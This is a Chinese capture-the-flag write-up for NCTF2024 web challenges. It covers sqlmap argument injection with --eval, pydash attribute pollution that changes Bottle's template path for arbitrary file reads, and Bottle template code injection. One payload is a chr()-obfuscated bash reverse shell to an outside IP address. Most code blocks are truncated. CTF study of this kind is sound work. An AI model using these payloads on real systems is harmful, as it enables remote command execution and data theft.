NCTF2024
WEB
sqlmap-master(sqlmap命令执行漏洞)
1 | from fastapi import FastAPI, Request |
我们发现有个subprocess.Popen,但因为设置了shell=false,所以导致了无法利用反引号等技巧进行常规的命令注入
在使用
subprocess.Popen
时,shell=False
是默认设置。这意味着传递给Popen
的命令将不会通过 shell 来执行,而是作为一个直接的可执行文件和参数传递给操作系统。
但是仔细观察可以发现我们还是可以控制sqlmap的参数,即参数注入
我们结合GTFOBins:https://gtfobins.github.io/gtfobins/sqlmap/
通过 –eval 参数可以执⾏ Python 代码, 然后因为上⾯ command.split() 默认是按空格分隔的, 所以需要⼀些⼩技巧来绕过
注意这⾥参数的值不需要加上单双引号, 因为上⾯已经设置了 shell=False , 如果加上去反⽽代表的是 “eval ⼀个 Python 字符串
最终payloiad
1 | 127.0.0.1:8000 --eval __import__('os').system('env') |
得到flag
ez_dash&ez_dash_revenge(TEMPLATE_PATH链污染)
1 | ''' |
预期解
我们来看/setValue和/render路由,在理想情况下,render路由只能渲染文件,而不是传入的字符串。但是我们看到
1 |
|
我们最终找到BaseTemplate的search方法,可以看到是没办法使用../../来逃逸的,所以我们需要想办法去修改TEMPLATE_PATH,然后去实现任意文件读取,接下来看setval函数
1 | def setval(name:str, path:str, value:str)-> Optional[bool]: |
结合黑名单和限制袋大概的利用是
1 | setval.__globals__.bottle.TEMPLATE=['../../../../../proc/self/'] |
但是pydash是不允许去修改__globals__
属性的内容的,我们看下代码
1 | def base_set(obj, key, value, allow_override=True): |
1 | def _raise_if_restricted_key(key): |
所以可以先利⽤这个setval将RESTRICTED_KEYS修改
1 | /setValue?name=pydash |
然后再去修改
1 | /setValue?name=setval |
然后在/render路由get传参,得到flag
非预期解
在**Bottle
** 的默认模板引擎 **SimpleTemplate
**,支持类似于 <% 和 %> 的语法来嵌入和执行 Python 代码,所以直接在render路由传参数然后反弹shell即可
payload1
1 | <% from os import system |
payload2
1 | <% getattr(__import__('o'+'s'), 'sy'+'stem')(chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(99)+chr(32)+chr(34)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(105)+chr(32)+chr(62)+chr(38)+chr(32)+chr(47)+chr(100)+chr(101)+chr(118)+chr(47)+chr(116)+chr(99)+chr(112)+chr(47)+chr(49)+chr(49)+chr(51)+chr(46)+chr(52)+chr(52)+chr(46)+chr(49)+chr(53)+chr(56)+chr(46)+chr(55)+chr(50)+chr(47)+chr(49)+chr(49)+chr(52)+chr(53)+chr(49)+chr(32)+chr(48)+chr(62)+chr(38)+chr(49)+chr(34)) %> |